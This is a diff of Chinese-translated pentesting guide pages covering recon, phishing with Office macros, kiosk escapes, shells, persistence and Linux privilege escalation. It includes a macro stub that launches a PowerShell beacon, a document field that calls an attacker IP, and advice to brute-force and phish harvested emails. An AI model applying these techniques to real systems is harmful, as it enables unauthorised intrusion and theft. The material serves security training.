如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**,您应该执**基本漏洞扫描**(使用 Nessus 或 OpenVAS和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,可以在 **本书中找到一些“攻击”它们的技巧**。\
&#xNAN;_&#x4E;ote 有时子域名托管在不受客户控制的 IP 内因此不在范围内请小心。_
如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同,你应该进**基本漏洞扫描**(使用 Nessus 或 OpenVAS和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,可以在 **本书中找到一些“攻击”它们的技巧**。\
_请注意有时子域名托管在不受客户控制的 IP 内因此不在范围内请小心。_
## IPs
在初始步骤中,可能已经 **找到了一些 IP 范围、域名和子域名**。\
现在是 **收集这些范围内的所有 IP** 和 **域名/子域名DNS 查询)**的时候。
在初始步骤中,可能已经 **找到了一些 IP 范围、域名和子域名**。\
现在是 **收集这些范围内的所有 IP****域名/子域名DNS 查询)** 的时候
使用以下 **免费 API** 的服务,还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
使用以下 **免费 API** 的服务,还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [**https://securitytrails.com/**](https://securitytrails.com/)
还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。
### **寻找漏洞**
**对所有不属于 CDN 的 IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能 **能够找到漏洞**
**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**
**查找** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。**
**查找一个** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。**
## 网络服务器猎杀
> 我们已经找到了所有公司及其资产,并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。
在之前的步骤中,您可能已经对发现的 IP 和域名进行了某些 **侦察**,因此您可能 **已经找到了所有可能的网络服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**
在之前的步骤中,你可能已经对发现的 IP 和域名进行了某些 **侦察**,因此你可能 **已经找到了所有可能的网络服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**
请注意,这将是 **面向网络应用程序发现** 的,因此您还应该 **执行漏洞****端口扫描****如果范围允许**)。
请注意,这将是 **面向网络应用发现** 的,因此你也应该 **进行漏洞****端口扫描**(如果范围允许的话)。
一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\
另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80 端口http和 443 端口https。此外可以指示尝试其他端口:
一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\
另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80http和 443https端口。此外可以指示尝试其他端口:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **截图**
现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,开始对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。
现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。
执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。**
此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不然。
## 公有云资产
为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`”。
为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`crypto`”、“`wallet`”、“`dao`”、“`<domain_name>`”、“`<subdomain_names>`”。
你还需要一些**常用词汇的字典**,用于存储桶:
@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 电子邮件
通过范围内的**域名**和**子域名**,你基本上拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**
通过范围内的**域名**和**子域名**,你基本上已经拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**
- [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API
- [**https://hunter.io/**](https://hunter.io/) 的API免费版
@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **寻找漏洞**
电子邮件在后续**暴力破解网络登录和身份验证服务**如SSH时会派上用场。此外它们在**网络钓鱼**中也是必需的。此外这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对网络钓鱼活动非常有用。
电子邮件在后续**暴力破解网络登录和身份验证服务**如SSH时会派上用场。此外它们在**钓鱼**中也是必需的。此外这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。
## 凭证泄露
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\
你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。
**Leakos** 也可以用于对所有提供的**URL**进行**gitleaks**扫描,因为有时**网页中也包含秘密**。
**Leakos** 也可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页中也包含秘密**。
#### Github Dorks
还可以查看**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**
还可以查看这个**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**
{{#ref}}
github-leaked-secrets.md
@ -572,7 +572,7 @@ github-leaked-secrets.md
老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此你可以选择你最喜欢的10个或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**
_请注意期望使用常规Google浏览器运行所有数据库的工具将永远无法完成因为Google会很快阻止你。_
_请注意期望使用常规Google浏览器运行整个数据库的工具将永远无法完成因为Google会很快封锁你。_
### **寻找漏洞**
@ -594,13 +594,13 @@ _请注意期望使用常规Google浏览器运行所有数据库的工具将
## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/index.html)
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以 [**这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以 [**这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。
我还想特别提到 [**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为虽然你不应该指望它们能找到非常敏感的漏洞,但它们在**工作流程中提供一些初步的网络信息**时非常有用。
我还想特别提到 [**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为虽然你不应该指望它们能找到非常敏感的漏洞,但它们在**工作流程中提供一些初步的网络信息**时非常有用。
## 综述
> 恭喜!到目前为止,你已经完成了**所有基本的枚举**。是的,这很基础,因为还有很多其他的枚举可以进行(稍后会看到更多技巧)。
> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为还有更多的枚举可以进行(稍后会看到更多技巧)。
所以你已经:
@ -614,16 +614,16 @@ _请注意期望使用常规Google浏览器运行所有数据库的工具将
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会给你带来**非常轻松的重大胜利**。
9. **渗透测试你找到的所有网站**
## **全自动侦查工具**
## **全面侦查自动化工具**
有几种工具可以执行针对定范围的部分提议操作。
有几种工具可以执行针对定范围的部分提议操作。
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
- [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新
## **参考文献**
## **参考资料**
- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)

View File

@ -11,14 +11,14 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### 0- 物理攻击
你是否对你想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**逃避GUI应用程序**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
你是否对你想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从GUI应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。
### 1 - [发现网络中的主机](pentesting-network/index.html#discovering-hosts)/ [发现公司的资产](external-recon-methodology/index.html)
**根据**你进行的**测试**是**内部测试还是外部测试**,你可能会对查找**公司网络内部的主机**(内部测试)或**在互联网上查找公司的资产**(外部测试)感兴趣。
> [!NOTE]
> 请注意,如果你正在进行外部测试,一旦你成功获得公司内部网络的访问权限,你应该重新开始本指南。
> 请注意,如果你正在进行外部测试,一旦你成功获得公司内部网络的访问,你应该重新开始本指南。
### **2-** [**在网络中玩乐**](pentesting-network/index.html) **(内部)**
@ -31,22 +31,22 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### **4-** [搜索服务版本漏洞](../generic-hacking/search-exploits.md)
一旦你知道哪些服务在运行,也许还它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以给你一个shell的漏洞...
一旦你知道哪些服务在运行,也许还知道它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以让你获得shell的漏洞...
### **5-** Pentesting服务
如果没有任何运行服务的花哨漏洞,你应该寻找**每个运行服务中的常见错误配置**。
**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不那么常见的服务)。请在左侧索引中搜索**_**PENTESTING**_ **部分**(服务按其默认端口排序)。
**在本书中,你将找到一个关于最常见服务的pentest指南**(以及其他不太常见的服务)。请在左侧索引中搜索**_**PENTESTING**_ **部分**(服务按其默认端口排序)。
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **部分(因为这是最广泛的部分)。**\
此外,这里还有一个关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。
**如果你的服务不在索引中请在Google中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**,请进行**自己的盲目渗透测试**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。
**如果你的服务不在索引中请在Google中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**,请进行**自己的盲目pentesting**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。
#### 5.1 自动工具
还有几种工具可以执行**自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于渗透测试服务的笔记。**
还有几种工具可以执行**自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于pentesting服务的笔记。**
#### **5.2 暴力破解服务**
@ -54,17 +54,17 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### 6- [钓鱼](phishing-methodology/index.html)
如果到目前为止你还没有找到任何有趣的漏洞,你**可能需要尝试一些钓鱼**以便进入网络。你可以在[这里](phishing-methodology/index.html)阅读我的钓鱼方法论:
如果到目前为止你还没有找到任何有趣的漏洞,你**可能需要尝试一些钓鱼**以进入网络。你可以在[这里](phishing-methodology/index.html)阅读我的钓鱼方法论:
### **7-** [**获取Shell**](../generic-hacking/reverse-shells/index.html)
不知怎么的,你应该找到**在受害者上执行代码的某种方法**。然后,[在系统中可以用来获取反向shell的可能工具列表将非常有用](../generic-hacking/reverse-shells/index.html)。
特别是在Windows中你可能需要一些帮助来**避免杀毒软件**[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
特别是在Windows中你可能需要一些帮助来**避免杀毒软件**[**查看此页面**](../windows-hardening/av-bypass.md)**。**
### 8- 内部
如果你在shell中遇到问题这里有一个小的**最有用命令的汇编**供渗透测试人员使用:
如果你在shell中遇到问题这里有一个小的**最有用命令的汇编**供pentester使用:
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -79,7 +79,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### **10.1- 本地特权升级**
如果你在盒子里**不是root/管理员**,你应该找到一种方法来**提升特权**。\
在这里你可以找到关于在**Linux**和**Windows**中本地提升特权的**指南**[**Linux**](../linux-hardening/privilege-escalation/index.html) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**。**\
在这里你可以找到关于如何在**Linux**../linux-hardening/privilege-escalation/index.html和**Windows**../windows-hardening/windows-local-privilege-escalation/index.html中本地提升特权的**指南**。\
你还应该查看这些关于**Windows工作原理**的页面:
- [**身份验证、凭据、令牌特权和UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
@ -91,28 +91,28 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### **10.2- 域特权升级**
在这里你可以找到一篇[**方法论解释最常见的操作以枚举、提升特权和在Active Directory中持久化**](../windows-hardening/active-directory-methodology/index.html)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是**极其微妙**的。
在这里你可以找到一篇[**方法论解释最常见的操作以枚举、提升特权和在Active Directory中持久化**](../windows-hardening/active-directory-methodology/index.html)。即使这只是一个部分的子部分,这个过程在Pentesting/Red Team任务中可能是**极其微妙**的。
### 11 - POST
#### **11**.1 - 掠夺
检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**权限**。\
检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**用户权限**。\
在这里找到不同的方法来[**在Windows中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
#### 11.2 - 持久性
**使用23种不同类型的持久性机制这样你就不需要再次利用系统。**\
**使用23种不同类型的持久性机制这样你就不需要再次利用系统。**\
**在这里你可以找到一些** [**关于Active Directory的持久性技巧**](../windows-hardening/active-directory-methodology/index.html#persistence)**。**
TODO: 完成Windows和Linux中的持久性Post
### 12 - 透传
通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\
通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始Pentesting Methodology)在受害者连接的新网络中。\
在这种情况下,隧道可能是必要的。这里你可以找到[**关于隧道的文章**](../generic-hacking/tunneling-and-port-forwarding.md)。\
你绝对应该查看关于[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/index.html)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
还要查看关于[**NTLM**](../windows-hardening/ntlm/index.html)的页面这在Windows环境中透传可能非常有用。
你绝对应该查看关于[Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/index.html)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
还要查看关于[**NTLM**](../windows-hardening/ntlm/index.html)的页面这在Windows环境中透传可能非常有用。
### 更多

View File

@ -7,7 +7,7 @@
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\
例如RTF 文件在设计上不支持宏,但将 DOCM 文件重命名为 RTF 后,将由 Microsoft Word 处理,并能够执行宏。\
例如RTF 文件在设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\
相同的内部机制适用于 Microsoft Office 套件的所有软件Excel、PowerPoint 等)。
您可以使用以下命令检查某些 Office 程序将执行哪些扩展名:
@ -19,7 +19,7 @@ DOCX 文件引用远程模板(文件 - 选项 - 插件 - 管理:模板 - 转
### 外部图像加载
转到_插入 --> 快速部件 --> 字段_\
&#xNAN;_**类别**:链接和引用,**字段名称**includePicture**文件名或 URL**:_ http://\<ip>/whatever
_**类别**:链接和引用,**字段名称**includePicture**文件名或 URL**:_ http://\<ip>/whatever
![](<../../images/image (155).png>)
@ -66,7 +66,7 @@ proc.Create "powershell <beacon line generated>
```
#### 手动删除元数据
前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect**然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**
转到 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**
#### 文档扩展名

View File

@ -8,7 +8,7 @@
| 组件 | 操作 |
| ------------ | ------------------------------------------------------------------ |
| 电源按钮 | 关闭并重新打开设备可能会显示启动屏幕 |
| 电源按钮 | 关闭设备并重新打开可能会显示启动屏幕 |
| 电源线 | 检查设备在短暂断电时是否重新启动 |
| USB端口 | 连接物理键盘以使用更多快捷键 |
| 以太网 | 网络扫描或嗅探可能会启用进一步的利用 |
@ -18,7 +18,7 @@
**常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,它们将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能:
- 关闭/另存为
- 打开/用...打开
- 打开/使用打开
- 打印
- 导出/导入
- 搜索
@ -33,7 +33,7 @@
### 命令执行
也许**使用`用...打开`**选项,您可以打开/执行某种shell。
也许**使用`Open with`选项**您可以打开/执行某种shell。
#### Windows
@ -48,11 +48,11 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
### 绕过路径限制
- **环境变量**:有很多环境变量指向某个路径
- **其他协议** _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **其他协议**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **符号链接**
- **快捷方式** CTRL+N打开新会话CTRL+R执行命令CTRL+SHIFT+ESC任务管理器Windows+E打开资源管理器CTRL-BCTRL-I收藏夹CTRL-H历史记录CTRL-LCTRL-O文件/打开对话框CTRL-P打印对话框CTRL-S另存为
- **快捷方式**CTRL+N打开新会话CTRL+R执行命令CTRL+SHIFT+ESC任务管理器Windows+E打开资源管理器CTRL-BCTRL-I收藏夹CTRL-H历史记录CTRL-LCTRL-O文件/打开对话框CTRL-P打印对话框CTRL-S另存为
- 隐藏的管理菜单CTRL-ALT-F8CTRL-ESC-F9
- **Shell URI** _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **Shell URIs**_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **UNC路径**连接到共享文件夹的路径。您应该尝试连接到本地计算机的C$"\\\127.0.0.1\c$\Windows\System32"
- **更多UNC路径**
@ -111,18 +111,18 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
- CTRL+O 打开文件
- CTRL+S 保存 CTRL+N 新RDP / Citrix
### 滑动
### 滑动操作
- 从左侧向右滑动以查看所有打开的窗口最小化KIOSK应用程序并直接访问整个操作系统
- 从右侧向左滑动以打开操作中心最小化KIOSK应用程序并直接访问整个操作系统
- 从顶部边缘向下滑动以使全屏模式下的应用程序标题栏可见;
- 从顶部边缘向下滑动以使全屏模式下的应用程序标题栏可见;
- 从底部向上滑动以在全屏应用程序中显示任务栏。
### Internet Explorer技巧
#### '图像工具栏'
这是一个在图像左上角点击时出现的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。
这是一个在点击图像时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。
#### Shell协议
@ -159,7 +159,7 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
备份iKat版本
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
使用JavaScript创建一个通用对话框并访问文件资源管理器`document.write('<input/type=file>')`\
来源https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
@ -168,17 +168,17 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
### 手势和按钮
- 用四(或五个手指向上滑动 / 双击Home按钮查看多任务视图并切换应用
- 用四(或五)个手指向一侧滑动:以切换到下一个/上一个应用
- 用五个手指捏合屏幕 / 按下Home按钮 / 用1个手指快速从屏幕底部向上滑动:访问主屏幕
- 用四(或五个手指向上滑动 / 双击Home按钮查看多任务视图并切换应用
- 用四个或五个手指向一侧滑动:以切换到下一个/上一个应用
- 用五个手指捏合屏幕 / 按下Home按钮 / 用1个手指从屏幕底部快速向上滑动:访问主屏幕
- 用1个手指从屏幕底部滑动1-2英寸停靠栏将出现
- 用1个手指从显示器顶部向下滑动查看通知
- 用1个手指从屏幕右上角向下滑动查看iPad Pro的控制中心
- 用1个手指从屏幕左侧滑动1-2英寸查看今日视图
- 用1个手指从屏幕中心快速向右或向左滑动切换到下一个/上一个应用
- 按住右上角的开/关/睡眠按钮 + 将滑块移动到右侧以**关闭电源**:关闭电源
- 按住右上角的开/关/睡眠按钮和Home按钮几秒钟强制硬关机
- 快速按下右上角的开/关/睡眠按钮和Home按钮截屏截屏将出在显示器左下角。按下两个按钮非常短暂地同时按下,如果按住几秒钟将执行硬关机。
- 按住**iPad +**右上角的开/关/睡眠按钮,向右滑动**关机**滑块:关机
- 按住**iPad**右上角的开/关/睡眠按钮和Home按钮几秒钟强制硬关机
- 快速按下**iPad**右上角的开/关/睡眠按钮和Home按钮截屏截屏将出在显示器左下角。按下两个按钮非常短暂地同时按下,如果按住几秒钟将执行硬关机。
### 快捷键
@ -205,13 +205,13 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
| -------- | ------------------------------------------------------------------------------ |
| F1 | 调暗屏幕 |
| F2 | 提亮屏幕 |
| F7 | 回一首歌曲 |
| F7 | 回到上一首歌曲 |
| F8 | 播放/暂停 |
| F9 | 跳过歌曲 |
| F10 | 静音 |
| F11 | 降低音量 |
| F12 | 增加音量 |
| ⌘ 空格 | 显示可用语言列表;要选择一种,请再次按空格键。 |
| F9 | 跳过歌曲 |
| F10 | 静音 |
| F11 | 降低音量 |
| F12 | 增加音量 |
| ⌘ Space | 显示可用语言列表;要选择一种,请再次按空格键。 |
#### iPad导航
@ -219,14 +219,14 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | 返回主屏幕 |
| ⌘⇧H (Command-Shift-H) | 返回主屏幕 |
| ⌘ (空格) | 打开Spotlight |
| ⌘ (Space) | 打开Spotlight |
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用 |
| ⌘\~ | 返回上一个应用 |
| ⌘\~ | 返回上一个应用 |
| ⌘⇧3 (Command-Shift-3) | 截屏(悬停在左下角以保存或操作) |
| ⌘⇧4 | 截屏并在编辑器中打开 |
| ⌘⇧4 | 截屏并在编辑器中打开 |
| 按住⌘ | 列出可用于该应用的快捷键 |
| ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 |
| ^⌥H (Control-Option-H) | 主屏幕按钮 |
| ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 |
| ^⌥H (Control-Option-H) | 主按钮 |
| ^⌥H H (Control-Option-H-H) | 显示多任务栏 |
| ^⌥I (Control-Option-i) | 项目选择器 |
| Escape | 返回按钮 |
@ -239,7 +239,7 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
| ^⌥S (Control-Option-S) | 开启或关闭VoiceOver语音 |
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用 |
| ⌘⇥ (Command-Tab) | 切换回原始应用 |
| ←+→然后Option + ←或Option+→ | 在Dock中导航 |
| ←+→然后Option + ←或Option+→ | 在Dock中导航 |
#### Safari快捷键
@ -266,8 +266,8 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt
| ⌘T | 打开新标签 |
| ⌘W | 关闭当前标签 |
| ⌘R | 刷新当前标签 |
| ⌘. | 停止加载当前标签 |
| ⌘⌥F (Command-Option/Alt-F) | 在邮箱中搜索 |
| ⌘. | 停止加载当前标签 |
| ⌘⌥F (Command-Option/Alt-F) | 在您的邮箱中搜索 |
## 参考文献

View File

@ -32,24 +32,24 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
您可以在这里找到一个好的易受攻击内核列表和一些已经**编译的漏洞利用** [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
您可以在这里找到一个好的易受攻击内核列表和一些已经**编译的漏洞利用** [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
其他可以找到一些**编译的漏洞利用**的网站: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries) [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
要从该网站提取所有易受攻击的内核版本,您可以执行:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
以帮助搜索内核漏洞的工具有
能有助于搜索内核漏洞的工具包括
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查内核 2.x 的漏洞)
始终**在Google中搜索内核版本**,也许您的内核版本在某内核漏洞中被写入,这样您就可以确定该漏洞是有效的。
始终**在 Google 中搜索内核版本**,也许您的内核版本在某内核漏洞中被写入,这样您就可以确定该漏洞是有效的。
### CVE-2016-5195 (DirtyCow)
